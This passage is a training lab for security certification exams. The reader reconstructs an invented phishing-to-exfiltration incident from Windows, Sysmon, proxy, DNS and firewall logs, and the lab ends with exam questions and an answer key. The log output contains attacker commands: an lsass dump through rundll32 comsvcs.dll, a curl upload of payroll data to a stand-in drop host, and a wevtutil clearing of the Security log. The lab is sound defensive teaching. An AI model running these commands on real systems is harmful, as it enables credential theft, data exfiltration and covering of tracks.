Windows Security and System events answer “which account, from where, how”. Key IDs: 4624 logon, 4625 failed logon, 4672 admin rights at logon, 4776 NTLM check at the domain controller, 7045 new service, 1102 audit log cleared. Logon type 2 is at the keyboard, 3 is over the network, 5 is a service.
$ jq -r '[.time[11:19], .host, .event_id, .account, (.logon_type // "-"), (.auth // "-"), (.src_ip // "-")] | join(" ")' logs/winevents.jsonl $ jq -r 'select(.event_id==7045 or .event_id==1102 or .event_id==4776) | [.time[11:19], .host, .event_id, .detail] | join(" ")' logs/winevents.jsonl
02:00:04 WS-FIN-07 4624 EXAMPLE\svc_backup 5 Negotiate - 13:50:12 WS-FIN-07 4624 EXAMPLE\m.lopez 2 Kerberos - 13:50:12 WS-FIN-07 4672 EXAMPLE\m.lopez - - - 13:52:30 DC01 4625 EXAMPLE\k.lee 3 Kerberos 192.0.2.31 13:52:41 DC01 4624 EXAMPLE\k.lee 3 Kerberos 192.0.2.31 14:20:00 FS01 4624 EXAMPLE\j.smith 3 Kerberos 192.0.2.31 14:28:51 FS01 4625 EXAMPLE\a.admin 3 NTLM 192.0.2.57 14:28:53 FS01 4625 EXAMPLE\a.admin 3 NTLM 192.0.2.57 14:31:06 DC01 4776 EXAMPLE\svc_backup - - - 14:31:07 FS01 4624 EXAMPLE\svc_backup 3 NTLM 192.0.2.57 14:31:07 FS01 4672 EXAMPLE\svc_backup - - - 14:31:09 FS01 7045 LocalSystem - - - 14:52:30 FS01 1102 EXAMPLE\svc_backup - - - 14:31:06 DC01 4776 NTLM credential validation, workstation WS-FIN-07, status 0x0 14:31:09 FS01 7045 service installed: WinUpdSvc, ImagePath %COMSPEC% /Q /c C:\Windows\Temp\upd.exe 14:52:30 FS01 1102 the audit log was cleared
Reading it. Three things explain the whole break-in. First, at 02:00 the backup software logged on to WS-FIN-07 as svc_backup (type 5), which left that account’s hash in lsass memory. Second, the 4672 at 13:50 shows m.lopez gets local admin rights when she logs on, which is why the lsass dump worked. Third, at 14:31:07 svc_backup logs on to FS01 over the network with NTLM from 192.0.2.57, a finance workstation, not the backup server. That is a stolen hash being replayed: pass the hash. Two seconds later a new service appears on FS01, and at 14:52:30 someone clears the Security log. The two failed a.admin logons from the same workstation at 14:28 are the attacker trying an older hash first. The k.lee and j.smith lines are ordinary staff: one typo, one share access.
09Follow the attacker onto FS01 and build the timeline
First see what ran on the file server. Then write a small script that converts all five logs to UTC, puts them in one format and sorts them, and print the result without the known-good noise.
$ jq -r 'select(.host=="FS01") | [.time[11:19], .event_id, (.image | split("\\") | last), (.command_line // .target // .dst)] | join(" ")' logs/sysmon.jsonl
14:31:08 11 System C:\Windows\Temp\upd.exe 14:31:09 1 cmd.exe C:\Windows\system32\cmd.exe /Q /c C:\Windows\Temp\upd.exe 14:31:10 1 upd.exe C:\Windows\Temp\upd.exe 14:40:22 1 tar.exe tar.exe -a -c -f C:\Windows\Temp\q3.zip D:\Shares\Finance\Payroll 14:45:59 1 curl.exe curl.exe -s -T C:\Windows\Temp\q3.zip https://drop.files-share.test/u/q3.zip 14:46:00 3 curl.exe 203.0.113.150:443 14:52:29 1 wevtutil.exe wevtutil.exe cl Security
$ cat > timeline.sh <<'EOF' #!/bin/bash # One line per event: UTC time <tab> source <tab> what happened cd ~/pbqlab || exit 1 { while read -r ts rest; do printf '%s\tFIREWALL\t%s\n' "$(date -u -d "$ts" +%FT%TZ)" "$(echo "$rest" | cut -d' ' -f2,3,4,6,7,10,12)" done < logs/firewall.log while read -r ep ms ip code bytes method url rest; do printf '%s\tPROXY\t%s %s %s %s bytes=%s\n' "$(date -u -d "@${ep%.*}" +%FT%TZ)" "$ip" "$code" "$method" "$url" "$bytes" done < logs/proxy.log while read -r day tm _ _ _ _ client _ _ name _ type _; do printf '%s\tDNS\t%s asked %s %s\n' "$(date -u -d "${day//-/ } $tm UTC" +%FT%TZ)" "${client%#*}" "$name" "$type" done < logs/dns.log jq -r '[.time, "WINEVT", "\(.host) \(.event_id) \(.account) \(.detail)"] | join("\t")' logs/winevents.jsonl jq -r '[.time, "EDR", "\(.host) \(.event_id) \(.image | split("\\") | last) \(.command_line // .target // .dst)"] | join("\t")' logs/sysmon.jsonl } | sort > timeline.tsv EOF $ bash timeline.sh && wc -l timeline.tsv $ grep -Ev '192\.0\.2\.(31|44)|k\.lee|j\.smith|203\.0\.113\.45|time\.example|EXCEL|OUTLOOK|explorer' timeline.tsv | cut -c1-140
76 timeline.tsv 2026-11-03T02:00:04Z WINEVT WS-FIN-07 4624 EXAMPLE\svc_backup service logon: BackupAgent 2026-11-03T13:50:12Z WINEVT WS-FIN-07 4624 EXAMPLE\m.lopez interactive logon 2026-11-03T13:50:12Z WINEVT WS-FIN-07 4672 EXAMPLE\m.lopez special privileges assigned (local Administrators) 2026-11-03T14:01:58Z DNS 192.0.2.57 asked outlook.example.com A 2026-11-03T14:02:10Z DNS 192.0.2.57 asked invoice-examp1e.test A 2026-11-03T14:02:11Z FIREWALL action=allow rule=OUT-WEB src=192.0.2.57 dst=203.0.113.66 dport=80 bytes_out=612 duration=0 2026-11-03T14:02:11Z PROXY 192.0.2.57 TCP_MISS/200 GET http://invoice-examp1e.test/view/8841 bytes=6211 2026-11-03T14:02:19Z PROXY 192.0.2.57 TCP_MISS/200 GET http://invoice-examp1e.test/dl/Invoice_8841.docm bytes=48211 2026-11-03T14:02:20Z EDR WS-FIN-07 11 msedge.exe C:\Users\m.lopez\Downloads\Invoice_8841.docm 2026-11-03T14:02:20Z FIREWALL action=allow rule=OUT-WEB src=192.0.2.57 dst=203.0.113.66 dport=80 bytes_out=655 duration=1 2026-11-03T14:02:58Z EDR WS-FIN-07 1 WINWORD.EXE "WINWORD.EXE" /n "C:\Users\m.lopez\Downloads\Invoice_8841.docm" 2026-11-03T14:03:05Z DNS 192.0.2.57 asked sync.cdn-telemetry.test A 2026-11-03T14:03:05Z EDR WS-FIN-07 1 powershell.exe powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuA 2026-11-03T14:03:06Z EDR WS-FIN-07 3 powershell.exe 203.0.113.99:80 2026-11-03T14:03:06Z FIREWALL action=allow rule=OUT-WEB src=192.0.2.57 dst=203.0.113.99 dport=80 bytes_out=402 duration=0 2026-11-03T14:03:06Z PROXY 192.0.2.57 TCP_MISS/200 GET http://sync.cdn-telemetry.test/a bytes=3954 2026-11-03T14:03:09Z PROXY 192.0.2.57 TCP_MISS/200 GET http://sync.cdn-telemetry.test/u/upd.bin bytes=241664 2026-11-03T14:03:10Z EDR WS-FIN-07 11 powershell.exe C:\Users\m.lopez\AppData\Roaming\Microsoft\Windows\upd.exe 2026-11-03T14:03:10Z FIREWALL action=allow rule=OUT-WEB src=192.0.2.57 dst=203.0.113.99 dport=80 bytes_out=410 duration=1 2026-11-03T14:03:12Z EDR WS-FIN-07 1 upd.exe upd.exe 2026-11-03T14:03:13Z EDR WS-FIN-07 13 upd.exe HKU\S-1-5-21-1004\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSync 2026-11-03T14:04:10Z EDR WS-FIN-07 3 upd.exe 203.0.113.99:443 2026-11-03T14:04:10Z FIREWALL action=allow rule=OUT-WEB src=192.0.2.57 dst=203.0.113.99 dport=443 bytes_out=312 duration=0 2026-11-03T14:04:10Z PROXY 192.0.2.57 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 bytes=1190 2026-11-03T14:05:10Z FIREWALL action=allow rule=OUT-WEB src=192.0.2.57 dst=203.0.113.99 dport=443 bytes_out=312 duration=0 2026-11-03T14:05:10Z PROXY 192.0.2.57 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 bytes=1190 2026-11-03T14:06:10Z FIREWALL action=allow rule=OUT-WEB src=192.0.2.57 dst=203.0.113.99 dport=443 bytes_out=312 duration=0 2026-11-03T14:06:10Z PROXY 192.0.2.57 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 bytes=1190 2026-11-03T14:07:11Z FIREWALL action=allow rule=OUT-WEB src=192.0.2.57 dst=203.0.113.99 dport=443 bytes_out=312 duration=0 2026-11-03T14:07:11Z PROXY 192.0.2.57 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 bytes=1190 2026-11-03T14:22:40Z EDR WS-FIN-07 1 rundll32.exe rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 712 C:\Users\Public\d.dmp full 2026-11-03T14:22:41Z EDR WS-FIN-07 10 rundll32.exe C:\Windows\System32\lsass.exe (GrantedAccess 0x1FFFFF) 2026-11-03T14:22:44Z EDR WS-FIN-07 11 rundll32.exe C:\Users\Public\d.dmp 2026-11-03T14:28:51Z WINEVT FS01 4625 EXAMPLE\a.admin bad password 0xC000006A 2026-11-03T14:28:53Z WINEVT FS01 4625 EXAMPLE\a.admin bad password 0xC000006A 2026-11-03T14:30:02Z DNS 192.0.2.57 asked paste.example.net A 2026-11-03T14:30:02Z PROXY 192.0.2.57 TCP_DENIED/403 CONNECT paste.example.net:443 bytes=3870 2026-11-03T14:31:06Z WINEVT DC01 4776 EXAMPLE\svc_backup NTLM credential validation, workstation WS-FIN-07, status 0x0 2026-11-03T14:31:07Z WINEVT FS01 4624 EXAMPLE\svc_backup network logon, workstation WS-FIN-07 2026-11-03T14:31:07Z WINEVT FS01 4672 EXAMPLE\svc_backup special privileges assigned 2026-11-03T14:31:08Z EDR FS01 11 System C:\Windows\Temp\upd.exe 2026-11-03T14:31:09Z EDR FS01 1 cmd.exe C:\Windows\system32\cmd.exe /Q /c C:\Windows\Temp\upd.exe 2026-11-03T14:31:09Z WINEVT FS01 7045 LocalSystem service installed: WinUpdSvc, ImagePath %COMSPEC% /Q /c C:\Windows\Temp\upd.exe 2026-11-03T14:31:10Z EDR FS01 1 upd.exe C:\Windows\Temp\upd.exe 2026-11-03T14:40:22Z EDR FS01 1 tar.exe tar.exe -a -c -f C:\Windows\Temp\q3.zip D:\Shares\Finance\Payroll 2026-11-03T14:44:10Z FIREWALL action=allow rule=OUT-WEB src=192.0.2.57 dst=203.0.113.99 dport=443 bytes_out=312 duration=0 2026-11-03T14:44:10Z PROXY 192.0.2.57 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 bytes=1190 2026-11-03T14:45:10Z FIREWALL action=allow rule=OUT-WEB src=192.0.2.57 dst=203.0.113.99 dport=443 bytes_out=312 duration=0 2026-11-03T14:45:10Z PROXY 192.0.2.57 TCP_TUNNEL/200 CONNECT sync.cdn-telemetry.test:443 bytes=1190 2026-11-03T14:45:58Z DNS 192.0.2.20 asked drop.files-share.test A 2026-11-03T14:45:59Z EDR FS01 1 curl.exe curl.exe -s -T C:\Windows\Temp\q3.zip https://drop.files-share.test/u/q3.zip 2026-11-03T14:46:00Z EDR FS01 3 curl.exe 203.0.113.150:443 2026-11-03T14:52:29Z EDR FS01 1 wevtutil.exe wevtutil.exe cl Security 2026-11-03T14:52:30Z WINEVT FS01 1102 EXAMPLE\svc_backup the audit log was cleared 2026-11-03T14:52:31Z FIREWALL action=allow rule=OUT-SRV-HTTPS src=192.0.2.20 dst=203.0.113.150 dport=443 bytes_out=412883112 duration=391
Reading it. On FS01 the System process writes upd.exe (a file arriving over the ADMIN$ share), the new service runs it as SYSTEM, tar.exe (built into Windows) packs the Payroll folder into q3.zip, curl.exe (also built in) uploads it, and wevtutil cl Security wipes the log. Sorted together, the story runs from the phishing click at 14:02 to the log wipe at 14:52: about 50 minutes. Notice how many lines say the same thing from different angles: the docm download appears in DNS, the proxy, the firewall and the EDR. That overlap is what lets you trust a timeline. The script uses one loop per text log and one jq line per JSON log; sort works because every line now starts with the same UTC format. A SIEM such as Splunk or Wazuh does exactly this at scale; the exam wants you to understand what it is doing.
10Answer the PBQ questions
This is the part the exam scores. Use your timeline and write your answers down before you open the key below. Exact wording does not matter; the evidence does.
- Clocks. The alert line says 09:52:31-05:00. What is that in UTC, and when did the upload start?
- Initial access. Which host and user were first, how did the attacker get in, and which two logs prove it?
- Execution and persistence. What ran, what did it download, and how would it survive a reboot?
- Command and control. Which domain and address did the malware check in with, and how can you tell it is a machine and not a person?
- Lateral movement. How did the attacker get from WS-FIN-07 to FS01? Name the account, the logon type and the authentication method.
- Exfiltration. What left, how much, to where, and why did it not go through the proxy?
- Cover-up. What did the attacker do last, and where would you still find FS01’s Security events?
- ATT&CK. Give a technique ID for each stage from initial access to the cover-up.
- Noise. Which events in the logs are not part of this incident?
Tip from people who passed. On the real exam you can flag a PBQ and come back to it. Many test-takers skip the PBQs at the start, answer the multiple-choice questions, then return with a feel for the time left. Whatever you do, never leave a PBQ blank: partial credit exists.
11Pick the first containment steps
Your lead has an hour. From this list, pick the six actions you would recommend first, and say which one must happen before the others. Security+ 4.8 and CySA+ 3.2 both put containment before eradication and recovery, and both expect you to keep evidence intact while you contain.
- A. Isolate WS-FIN-07 and FS01 from the network with the EDR’s host-isolation feature, leaving them powered on.
- B. Power FS01 off right away so the attacker loses access.
- C. Disable svc_backup and reset its password (a new password means a new hash), reset m.lopez’s password and sign her out of all sessions.
- D. Block 203.0.113.66, 203.0.113.99 and 203.0.113.150 at the firewall and the three attacker domains at the proxy and DNS server.
- E. Wipe and reinstall both machines now, before anything else.
- F. Capture memory and disk images of both hosts, export the SIEM copies of the logs, hash everything and start a chain-of-custody record.
- G. Restore the Payroll share from last night’s backup.
- H. Search every other host for the same indicators: upd.exe, the OneDriveSync Run key, the WinUpdSvc service and 60-second check-ins to 203.0.113.99.
- I. Block all outbound HTTPS for the whole company until further notice.
- J. Change the OUT-SRV-HTTPS rule so servers can no longer reach the internet directly.
- K. Reset the domain’s krbtgt account twice.
- L. Delete the phishing email from m.lopez’s mailbox and close the ticket.
Isolation beats pulling the plug. A powered-off server forgets everything in memory, including the malware’s connections and keys. An isolated one keeps talking to the EDR console and to nobody else. — Nova
12Clean up
Delete the case folder. Everything in it was text you typed in.
$ cd ~ && rm -rf ~/pbqlab $ ls ~/pbqlab
ls: cannot access '/home/steven/pbqlab': No such file or directory
jq stays installed; you will use it again. To remove it: sudo apt remove jq.
Show the answer key (try the questions first)
The timeline, all times UTC on 3 November 2026
| Stage | When | Host | Evidence | ATT&CK |
|---|---|---|---|---|
| Context | 02:00:04 | WS-FIN-07 | winevents 4624 type 5: svc_backup service logon leaves its hash in memory | — |
| Context | 13:50:12 | WS-FIN-07 | winevents 4672: m.lopez is a local administrator | — |
| Initial access | 14:02:10–14:02:20 | WS-FIN-07 | DNS lookup of invoice-examp1e.test; proxy GET /view/8841 then Invoice_8841.docm; EDR file create in Downloads | T1566.002 Spearphishing Link |
| Execution | 14:02:58–14:03:05 | WS-FIN-07 | EDR: WINWORD.EXE opens the docm and starts powershell.exe -enc | T1204.002 Malicious File, T1059.001 PowerShell, T1027.010 Command Obfuscation |
| Tool download | 14:03:06–14:03:12 | WS-FIN-07 | proxy GET /a and /u/upd.bin; EDR writes and starts upd.exe | T1105 Ingress Tool Transfer |
| Persistence | 14:03:13 | WS-FIN-07 | EDR 13: Run key OneDriveSync | T1547.001 Registry Run Keys / Startup Folder |
| Command and control | 14:04:10 onward, every 60 s | WS-FIN-07 | proxy + firewall: sync.cdn-telemetry.test / 203.0.113.99:443, 312 bytes out, 1,190 back, every time | T1071.001 Web Protocols |
| Credential access | 14:22:40–14:22:44 | WS-FIN-07 | EDR: rundll32 comsvcs.dll MiniDump, lsass opened with full access, d.dmp written | T1003.001 LSASS Memory (via T1218.011 Rundll32) |
| Exfil attempt blocked | 14:30:02 | WS-FIN-07 | proxy TCP_DENIED/403 to paste.example.net | blocked-content indicator |
| Lateral movement | 14:28:51–14:31:10 | WS-FIN-07 → FS01 | two failed a.admin NTLM logons; DC01 4776 + FS01 4624 type 3 NTLM svc_backup from 192.0.2.57; 4672; System writes upd.exe; 7045 WinUpdSvc runs it as SYSTEM | T1550.002 Pass the Hash, T1021.002 SMB/Windows Admin Shares, T1569.002 Service Execution |
| Collection | 14:40:22 | FS01 | EDR: tar.exe packs D:\Shares\Finance\Payroll into q3.zip | T1560.001 Archive via Utility |
| Exfiltration | 14:45:58–14:52:31 | FS01 | DNS drop.files-share.test; EDR curl.exe -T q3.zip; firewall session 14:46:00–14:52:31 UTC, 412,883,112 bytes out via OUT-SRV-HTTPS | T1567.002 Exfiltration to Cloud Storage |
| Cover-up | 14:52:29–14:52:30 | FS01 | EDR wevtutil cl Security; winevents 1102 audit log cleared | T1070.001 Clear Windows Event Logs |
- Clocks. 09:52:31-05:00 is 14:52:31 UTC. The session lasted 391 seconds, so the upload started at 14:46:00 UTC, which matches the EDR’s curl.exe connection at 14:46:00.
- Initial access. WS-FIN-07, user m.lopez, at 14:02 UTC. A phishing link to the lookalike invoice-examp1e.test served a macro-enabled Word file. Proof: DNS (the lookup), the proxy (the page and the .docm download) and the EDR (the file landing in Downloads, then Word opening it). Any two of those three count.
- Execution and persistence. The macro started hidden, Base64-encoded PowerShell, which downloaded a script and then upd.exe from sync.cdn-telemetry.test. upd.exe added the Run key OneDriveSync, so it starts at every logon.
- Command and control. sync.cdn-telemetry.test at 203.0.113.99, port 443. The check-ins arrive every 60 seconds with identical sizes (312 bytes out, 1,190 in). People browse in bursts; malware keeps time.
- Lateral movement. The attacker dumped lsass, took the hash of svc_backup (left behind by the 02:00 backup logon) and replayed it: a type 3 network logon with NTLM from 192.0.2.57 to FS01 at 14:31:07, confirmed by DC01 event 4776. Then they copied upd.exe over the ADMIN$ share and ran it with a new service, WinUpdSvc (event 7045), a PsExec-style move.
- Exfiltration. The Payroll folder, zipped as q3.zip, about 413 MB (412,883,112 bytes), uploaded with curl.exe over HTTPS to drop.files-share.test (203.0.113.150). The workstation’s attempt via the proxy was blocked, but servers were allowed straight out by the firewall rule OUT-SRV-HTTPS, which bypasses the proxy and its category filter.
- Cover-up. wevtutil cleared FS01’s Security log at 14:52:30 (event 1102 is the last thing it wrote). The events still exist in the SIEM because they were forwarded before the wipe: this is why logs leave the host as soon as they are written.
- ATT&CK. See the table. If you used T1566.001 (attachment) instead of T1566.002 (link), look again: the email carried a link, and the file came from a website. Technique IDs are from MITRE ATT&CK Enterprise v20.1.
- Noise. The internet scanner 203.0.113.45 hitting closed ports 3389 and 22 (denied), k.lee’s mistyped password, j.smith’s share access, Outlook and Excel starting, the time.example.org lookup and the update traffic from 192.0.2.44. The a.admin failures are not noise: they come from the compromised workstation.
Containment: the six to pick
F first, together with A: start preserving evidence and isolate both hosts in the same few minutes (isolation through the EDR keeps them powered on, so memory survives). Then C (svc_backup and m.lopez credentials), D (block the three addresses and domains), H (hunt the same indicators everywhere, so you know the real scope) and J (close the server egress rule the data left through).
Why not the others. B destroys memory evidence, and isolation already cuts the attacker off. E is eradication and recovery, and doing it first erases the evidence you need for scope and for any legal follow-up. G fixes nothing: the data was copied, not destroyed. I stops the attack and the business at the same time; targeted blocks do the job. K answers a forged Kerberos ticket (a golden ticket), and nothing here points to one: the attacker used NTLM with one service account’s hash. L treats a confirmed breach as a spam complaint.
Later, not in the first hour: remove local admin rights from finance users, turn on LSA protection or Credential Guard so lsass is harder to dump, run the backup agent with an account that cannot log on to servers interactively or over the network, alert on Office applications starting PowerShell, and bring in legal and HR early, because payroll data is personal data and may trigger breach-notification duties.
How analysts do this at work
In a security operations center (SOC) the five logs arrive in a SIEM such as Splunk, Elastic or Wazuh, already parsed and converted to one time zone, and the timeline you built with a script is one search. The thinking does not change: start at the alert, pivot on every address, host and account you find, keep only what is supported by evidence, and write the story in UTC. Many teams keep a shared timeline spreadsheet during an incident with exactly the columns from the answer key: time, host, evidence, technique. Real EDR tools draw the WS-FIN-07 process tree for you, and many can isolate a host with one click, which is the containment step this lab recommends first.
What you learned
- Normalize first — local time with an offset, epoch time and UTC all become UTC before you compare anything
- Firewalls log the end — subtract the duration to find when a long session began
- Pivot — alert to address, address to DNS name, name to host, host to process, process to account
- Five sources, five views — firewall: where and how much; proxy: which URL; DNS: who asked; Windows events: which account and how; EDR: what ran
- Indicators — lookalike domains, Office starting PowerShell, encoded commands, regular beacons, NTLM network logons from a workstation, new services, cleared logs, blocked content
- ATT&CK mapping — one technique per stage, from T1566.002 to T1070.001
- Contain without destroying evidence — isolate and preserve before you wipe or rebuild
Tried it? Tell us
Nova built this lab from Steven’s ideas, and we ran every command once before publishing. If a step broke, behaved differently for you, or you know a better way, tell us. Ideas for the next lab are welcome too — no promises on timing.
NextPBQ simulator: five exam-style tasks→
Go deeper
- Log Hunt — fifteen short logs: tap the attack lines and name the attack
- Incident response explained — the phases behind the containment step
- Windows Security Log Encyclopedia — every event ID used here
- Zeek beacon detection lab — catch the 60-second check-ins from network data
- YARA rules lab — turn upd.exe into a rule you can hunt with
- Security+ practice test — the multiple-choice side of the same objectives
- CompTIA CySA+ roadmap — this lab covers CySA+ 1.2 and the timeline and evidence parts of 3.3; for Security+ it covers 4.9, with pieces of 2.4 and 4.8
- MITRE ATT&CK — look up every technique ID in the answer key
Original walkthrough, written by StashGrid with AI help. The incident, company, people and logs are invented; addresses and domains are reserved for documentation. Every command was run end to end, exactly as shown, on Ubuntu 24.04 (WSL2, kernel 6.6.87.2, jq 1.7, GNU coreutils 9.4) on 6 Nov 2026; outputs are from that run. Field layouts follow real formats (Squid native access.log, BIND query log, Windows Security and System event IDs, Sysmon event IDs) but are simplified, so do not expect a real export to match column for column. StashGrid isn’t affiliated with CompTIA or MITRE. If something doesn’t match what your machine does, tell me and I will fix it.